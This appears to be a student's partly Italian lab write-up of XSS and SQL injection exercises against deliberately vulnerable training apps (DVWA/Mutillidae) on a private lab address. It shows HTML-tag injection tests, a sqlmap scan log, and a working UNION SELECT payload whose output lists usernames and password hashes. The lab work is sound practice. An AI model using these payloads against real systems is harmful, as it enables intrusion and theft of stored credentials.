

# Vulnerability: Reflected Cross Site Scripting (XSS)

Testing della vulnerabilità

<i>Ciao Belo</i>

What's your name?

Submit

Hello *Ciao Belo*

<s>Ciao Belo</s>

What's your name?

Submit

Hello ~~Ciao Belo~~

## More info

<http://ha.ckers.org/xss.html>

[http://en.wikipedia.org/wiki/Cross-site\\_scripting](http://en.wikipedia.org/wiki/Cross-site_scripting)

<http://www.cgisecurity.com/xss-faq.html>

```
<h1><s>Ciao Belo</s></h1>
```

What's your name?

Submit

Hello

~~Ciao Belo~~

**More info**

# Vulnerability: SQL Injection

Per prima cosa mi è partito senza volerlo un site crawling.

```
File Actions Edit View Help
GET http://192.168.50.101/mutillidae/index.php?page=password-generator.php&username=anonymous
do you want to test this URL? [Y/n/q]
> ny
[09:54:38] [INFO] testing URL 'http://192.168.50.101/mutillidae/index.php?page=password-generator.php&username=anonymous'
[09:54:38] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=2def83d1ca3...ffb88757c6'). Do you want to use those [Y/n] n
[09:54:48] [INFO] checking if the target is protected by some kind of WAF/IPS
[09:54:48] [INFO] testing if the target URL content is stable
[09:54:48] [INFO] target URL content is stable
[09:54:48] [INFO] skipping previously processed GET parameter 'page'
[09:54:48] [INFO] testing if GET parameter 'username' is dynamic
[09:54:48] [WARNING] GET parameter 'username' does not appear to be dynamic
[09:54:48] [WARNING] heuristic (basic) test shows that GET parameter 'username' might not be injectable
[09:54:48] [INFO] heuristic (XSS) test shows that GET parameter 'username' might be vulnerable to cross-site scripting (XSS) attacks
[09:54:48] [INFO] testing for SQL injection on GET parameter 'username'
[09:54:48] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[09:54:49] [WARNING] reflective value(s) found and filtering out
[09:54:49] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[09:54:49] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[09:54:49] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[09:54:50] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[09:54:50] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[09:54:50] [INFO] testing 'Generic inline queries'
[09:54:50] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[09:54:50] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[09:54:50] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[09:54:50] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[09:54:51] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[09:54:51] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
[09:54:51] [INFO] testing 'Oracle AND time-based blind'
```

' union select first\_name, password FROM users#

## Vulnerability: SQL Injection

User ID:

Submit

ID: ' UNION SELECT first\_name, password FROM users#

First name: admin

Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: ' UNION SELECT first\_name, password FROM users#

First name: Gordon

Surname: e99a18c428cb38d5f260853678922e03

ID: ' UNION SELECT first\_name, password FROM users#

First name: Hack

Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: ' UNION SELECT first\_name, password FROM users#

First name: Pablo

Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: ' UNION SELECT first\_name, password FROM users#

First name: Bob

Surname: 5f4dcc3b5aa765d61d8327deb882cf99